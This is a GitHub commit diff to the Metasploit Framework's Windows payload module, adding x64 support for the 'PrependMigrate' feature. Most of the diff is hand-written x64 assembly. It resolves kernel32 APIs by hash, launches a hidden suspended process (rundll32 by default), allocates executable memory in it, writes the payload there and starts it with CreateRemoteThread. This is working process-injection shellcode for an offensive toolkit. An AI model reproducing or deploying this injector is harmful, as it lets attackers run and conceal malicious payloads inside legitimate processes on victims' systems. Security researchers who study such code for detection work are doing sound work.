Skip to content

Commit 15268ca

Browse files
committed
Add X64 PrependMigrate support
1 parent c97be83 commit 15268ca

File tree

1 file changed

+223
-4
lines changed

1 file changed

+223
-4
lines changed

lib/msf/core/payload/windows.rb

Lines changed: 223 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -72,8 +72,7 @@ def generate(*args)
7272
test_arch = [ *(self.arch) ]
7373

7474
# Handle all x86 code here
75-
if (test_arch.include?(ARCH_X86))
76-
75+
if test_arch.include?(ARCH_X86)
7776
# PrependMigrate
7877
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
7978
payloadsize = "0x%04x" % buf.length
@@ -93,7 +92,7 @@ def generate(*args)
9392
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
9493
next_mod: ;
9594
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
96-
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
95+
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
9796
xor edi, edi ; Clear EDI which will store the hash of the module name
9897
loop_modname: ;
9998
xor eax, eax ; Clear EAX
@@ -108,7 +107,7 @@ def generate(*args)
108107
; We now have the module hash computed
109108
push edx ; Save the current position in the module list for later
110109
push edi ; Save the current module hash for later
111-
; Proceed to iterate the export address table,
110+
; Proceed to iterate the export address table
112111
mov edx, [edx+16] ; Get this modules base address
113112
mov eax, [edx+60] ; Get PE header
114113
add eax, edx ; Add the modules base address
@@ -285,6 +284,226 @@ def generate(*args)
285284

286285
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
287286
end
287+
# Handle all x86 code here
288+
elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64)
289+
# PrependMigrate
290+
if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true'
291+
payloadsize = "0x%04x" % buf.length
292+
procname = datastore['PrependMigrateProc'] || 'rundll32'
293+
294+
# Prepare instructions to get address of block_api into ebp
295+
block_api_start = <<EOS
296+
call start
297+
EOS
298+
block_api_asm = <<EOS
299+
api_call:
300+
push r9 ; Save the 4th parameter
301+
push r8 ; Save the 3rd parameter
302+
push rdx ; Save the 2nd parameter
303+
push rcx ; Save the 1st parameter
304+
push rsi ; Save RSI
305+
xor rdx, rdx ; Zero rdx
306+
mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
307+
mov rdx, [rdx+24] ; Get PEB->Ldr
308+
mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
309+
next_mod: ;
310+
mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
311+
movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
312+
xor r9, r9 ; Clear r9 which will store the hash of the module name
313+
loop_modname: ;
314+
xor rax, rax ; Clear rax
315+
lodsb ; Read in the next byte of the name
316+
cmp al, 'a' ; Some versions of Windows use lower case module names
317+
jl not_lowercase ;
318+
sub al, 0x20 ; If so normalise to uppercase
319+
not_lowercase: ;
320+
ror r9d, 13 ; Rotate right our hash value
321+
add r9d, eax ; Add the next byte of the name
322+
loop loop_modname ; Loop untill we have read enough
323+
; We now have the module hash computed
324+
push rdx ; Save the current position in the module list for later
325+
push r9 ; Save the current module hash for later
326+
; Proceed to itterate the export address table,
327+
mov rdx, [rdx+32] ; Get this modules base address
328+
mov eax, dword [rdx+60] ; Get PE header
329+
add rax, rdx ; Add the modules base address
330+
mov eax, dword [rax+136] ; Get export tables RVA
331+
test rax, rax ; Test if no export address table is present
332+
jz get_next_mod1 ; If no EAT present, process the next module
333+
add rax, rdx ; Add the modules base address
334+
push rax ; Save the current modules EAT
335+
mov ecx, dword [rax+24] ; Get the number of function names
336+
mov r8d, dword [rax+32] ; Get the rva of the function names
337+
add r8, rdx ; Add the modules base address
338+
; Computing the module hash + function hash
339+
get_next_func: ;
340+
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
341+
dec rcx ; Decrement the function name counter
342+
mov esi, dword [r8+rcx*4]; Get rva of next module name
343+
add rsi, rdx ; Add the modules base address
344+
xor r9, r9 ; Clear r9 which will store the hash of the function name
345+
; And compare it to the one we want
346+
loop_funcname: ;
347+
xor rax, rax ; Clear rax
348+
lodsb ; Read in the next byte of the ASCII function name
349+
ror r9d, 13 ; Rotate right our hash value
350+
add r9d, eax ; Add the next byte of the name
351+
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
352+
jne loop_funcname ; If we have not reached the null terminator, continue
353+
add r9, [rsp+8] ; Add the current module hash to the function hash
354+
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
355+
jnz get_next_func ; Go compute the next function hash if we have not found it
356+
; If found, fix up stack, call the function and then value else compute the next one...
357+
pop rax ; Restore the current modules EAT
358+
mov r8d, dword [rax+36] ; Get the ordinal table rva
359+
add r8, rdx ; Add the modules base address
360+
mov cx, [r8+2*rcx] ; Get the desired functions ordinal
361+
mov r8d, dword [rax+28] ; Get the function addresses table rva
362+
add r8, rdx ; Add the modules base address
363+
mov eax, dword [r8+4*rcx]; Get the desired functions RVA
364+
add rax, rdx ; Add the modules base address to get the functions actual VA
365+
; We now fix up the stack and perform the call to the drsired function...
366+
finish:
367+
pop r8 ; Clear off the current modules hash
368+
pop r8 ; Clear off the current position in the module list
369+
pop rsi ; Restore RSI
370+
pop rcx ; Restore the 1st parameter
371+
pop rdx ; Restore the 2nd parameter
372+
pop r8 ; Restore the 3rd parameter
373+
pop r9 ; Restore the 4th parameter
374+
pop r10 ; pop off the return address
375+
sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
376+
; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
377+
push r10 ; push back the return address
378+
jmp rax ; Jump into the required function
379+
; We now automagically return to the correct caller...
380+
get_next_mod: ;
381+
pop rax ; Pop off the current (now the previous) modules EAT
382+
get_next_mod1: ;
383+
pop r9 ; Pop off the current (now the previous) modules hash
384+
pop rdx ; Restore our position in the module list
385+
mov rdx, [rdx] ; Get the next module
386+
jmp next_mod ; Process this module
387+
EOS
388+
block_api_rbp_asm = <<EOS
389+
pop rbp ; Pop off the address of 'api_call' for calling later.
390+
EOS
391+
block_close_to_payload = ''
392+
393+
# Check if we can find block_api in the payload
394+
block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string
395+
block_api_index = buf.index(block_api)
396+
if block_api_index
397+
398+
# Prepare instructions to calculate address
399+
rbp_offset = "0x%04x" % (block_api_index + 5)
400+
block_api_rbp_asm = <<EOS
401+
jmp close_to_payload
402+
return_from_close_to_payload:
403+
pop rbp
404+
add rbp, #{rbp_offset}
405+
EOS
406+
# Clear now-unneeded instructions
407+
block_api_asm = ''
408+
block_api_start = ''
409+
block_close_to_payload = <<EOS
410+
close_to_payload:
411+
call return_from_close_to_payload
412+
EOS
413+
end
414+
415+
#put all pieces together
416+
migrate_asm = <<EOS
417+
cld ; Clear the direction flag.
418+
#{block_api_start}
419+
#{block_api_asm}
420+
start:
421+
#{block_api_rbp_asm}
422+
; get our own startupinfo at esp+0x60
423+
add rsp,-400 ; adjust the stack to avoid corruption
424+
mov rcx,rsp
425+
add rcx,0x30
426+
mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
427+
call rbp ; GetStartupInfoA( &si );
428+
429+
; ptr to startupinfo is in rax
430+
; pointer to string is in rcx
431+
jmp getcommand
432+
gotcommand:
433+
pop rsi ; rsi = address of process name (command line)
434+
435+
; create the process
436+
mov rdi,rsp ; get rsp again
437+
add rdi,0x110 ; Offset of empty space for lpProcessInformation
438+
push rdi ; lpProcessInformation : write processinfo here
439+
mov rcx,rsp
440+
add rcx,0x58
441+
push rcx ; lpStartupInfo : current info (read)
442+
xor rcx,rcx
443+
push rcx ; lpCurrentDirectory
444+
push rcx ; lpEnvironment
445+
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
446+
push rcx ; bInHeritHandles
447+
mov r9, rcx ; lpThreadAttributes
448+
mov r8, rcx ; lpProcessAttributes
449+
mov rdx, rsi ; lpCommandLine
450+
; rcx is already zero ; lpApplicationName
451+
mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
452+
call rbp ; CreateProcessA( &si );
453+
454+
; allocate memory in the process (VirtualAllocEx())
455+
; get handle
456+
push 0x40 ; RWX
457+
mov r9,0x1000 ; 0x1000 = MEM_COMMIT
458+
mov r8,r9 ; size
459+
xor rdx,rdx ; address
460+
mov rcx, [rdi] ; handle
461+
mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
462+
call rbp ; VirtualAllocEx( ...);
463+
464+
; eax now contains the destination - save in ebx
465+
mov rbx, rax ; lpBaseAddress
466+
; WriteProcessMemory()
467+
push rsp ; lpNumberOfBytesWritten
468+
mov r9, #{payloadsize} ; nSize
469+
; pick up pointer to shellcode & keep it on stack
470+
jmp begin_of_payload
471+
begin_of_payload_return:
472+
pop r8 ; lpBuffer
473+
mov rdx, rax ; lpBaseAddress
474+
mov rcx, [rdi] ; hProcess
475+
mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
476+
call rbp ; WriteProcessMemory( ...);
477+
478+
; run the code (CreateRemoteThread())
479+
xor rcx, rcx ; rdx = 0
480+
push rcx ; lpthreadID
481+
push rcx ; run immediately
482+
push rcx ; no parameter
483+
mov r9,rbx ; shellcode
484+
mov r8, rcx ; stacksize
485+
;rdx already equals 0 ; lpThreadAttributes
486+
mov rcx, [rdi]
487+
mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
488+
call rbp ; CreateRemoteThread( ...);
489+
490+
;sleep
491+
xor rcx,rcx
492+
dec rcx ; rcx = -1
493+
mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
494+
call rbp ; Sleep( ... );
495+
496+
getcommand:
497+
call gotcommand
498+
db "#{procname}"
499+
db 0x00
500+
#{block_close_to_payload}
501+
begin_of_payload:
502+
call begin_of_payload_return
503+
EOS
504+
505+
pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string
506+
end
288507
end
289508
return (pre + buf)
290509
end

0 commit comments

Comments
 (0)